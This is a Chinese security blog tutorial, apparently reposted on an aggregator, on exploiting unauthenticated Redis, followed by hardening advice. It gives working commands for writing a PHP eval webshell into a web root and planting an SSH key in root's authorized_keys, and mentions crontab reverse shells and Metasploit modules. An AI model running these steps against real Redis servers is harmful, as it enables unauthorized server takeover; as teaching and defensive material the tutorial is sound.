选择你喜欢的标签
我们会为你匹配适合你的网址导航

    确认 跳过

    跳过将删除所有初始化信息

    Redis GetShell提权

    安全 2021-11-29 14:03

    声明:该文章来自(千阪'BLOG)版权由原作者所有,K2OS渲染引擎提供网页加速服务。

    环境准备

    目标机器:129.168.186.4

    Kali 开启 SSH

    配置 Redis

    wget http://download.redis.io/releases/redis-3.2.11.tar.gz 
    tar zxvf redis-3.2.11.tar.gz 
    cd redis-3.2.11
    cp redis.conf /etc/redis.conf
    make
    cd src
    cp redis-server /usr/bin/
    cp redis-cli /usr/bin/
    vim /etc/redis.conf
    
    
    去掉 ip 绑定,允许除本地外的主机远程登录 redis 服务 前面加 #注释掉
    关闭保护模式,允许远程连接 redis 服务将 yes 改为 no启动redis
    启动服务
    redis-server /etc/redis.conf
    
    

    常用命令

    连接 Redis 服务器

    redis-cli -h ipadd
    
    

    MSF 下利用模块

    auxiliary/scanner/redis/file_upload 
    auxiliary/scanner/redis/redis_login
    auxiliary/scanner/redis/redis_server
    
    
    GetShell 原理:攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,我们可以将 dir 设置为一个目录 a,而 dbfilename 为文件名 b,再执行 save 或 bgsave,就可以写入一个路径为 a/b 的任意文件。

    计划任务反弹 Shell

    • 在 Redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell
    默认编写的 crontab 文件会保存在 (/var/spool/cron/ 用户名 例如: /var/spool/cron/root
    crontab -l 列出某个用户 cron 服务的详细内容
    crontab -r 删除每个用户 cront 任务 (谨慎:删除所有的计划任务)
    crontab -e 使用编辑器编辑当前的 crontab 文件

    Web 目录写 Shell

    1. 当 redis 权限不高且服务器开着 web 服务
    2. redis 有 web 目录写权限
    3. 可以尝试往 web 路径写 webshell
    redis-cli -h ip
    
    ip:6379> config set dir /var/www/html/
    OK
    ip:6379> config set dbfilename shell.php
    OK
    ip:6379> set x "<?php @eval($_POST['shell']);?>"
    OK
    ip:6379> save
    OK
    
    

    写 ssh-key 公钥获取权限

    1. Redis 服务使用 ROOT 账号启动
    2. 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
    ssh-keygen -t rsa
    
    # 将公钥写入一个文件,内容前后要加两个换行
    (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    # 将公钥放入目标服务器键`crackit`里面
    cat key.txt | redis-cli -h 172.16.186.4 -x set crackit
    
    ip:6379> config set dir /root/.ssh/
    OK
    ip:6379> config get dir
    1) "dir"
    2) "/root/.ssh"
    ip:6379> config set dbfilename authorized_keys
    OK
    ip.4:6379> save
    OK
    
    # 使用私钥连接
    ➜ ssh -i id_rsa root@redis-ip
    
    

    修复建议

    1. 禁止 Redis 服务对公网开放,可通过修改 redis.conf 配置文件中的 #bind 127.0.0.1 ,去掉前面的 # 即可(Redis 本来就是作为内存数据库,只要监听在本机即可)
    2. **设置密码访问认证,可通过修改 redis.conf 配置文件中的 requirepass 设置复杂密码 **
    3. 重启 Redis 服务
    4. 对访问源 IP 进行访问控制,可在防火墙限定指定源 IP 才可以连接 Redis 服务器
    5. 保证 authorized_keys 文件的安全为了保证安全,您应该阻止其他用户添加新的公钥。
    6. 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限
    chmod 400 ~/.ssh/authorized_keys
    
    
    1. 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
    chattr +i ~/.ssh/authorized_keys
    
    

    然而,用户还可以重命名~/.ssh,然后新建新的~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置~./ssh 的 immutable 位权限:

    chattr +i ~/.ssh
    
    

    以低权限运行 Redis 服务(重启 redis 才能生效)

    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆


    关注我们

    [超站]友情链接:

    四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
    关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/

    图库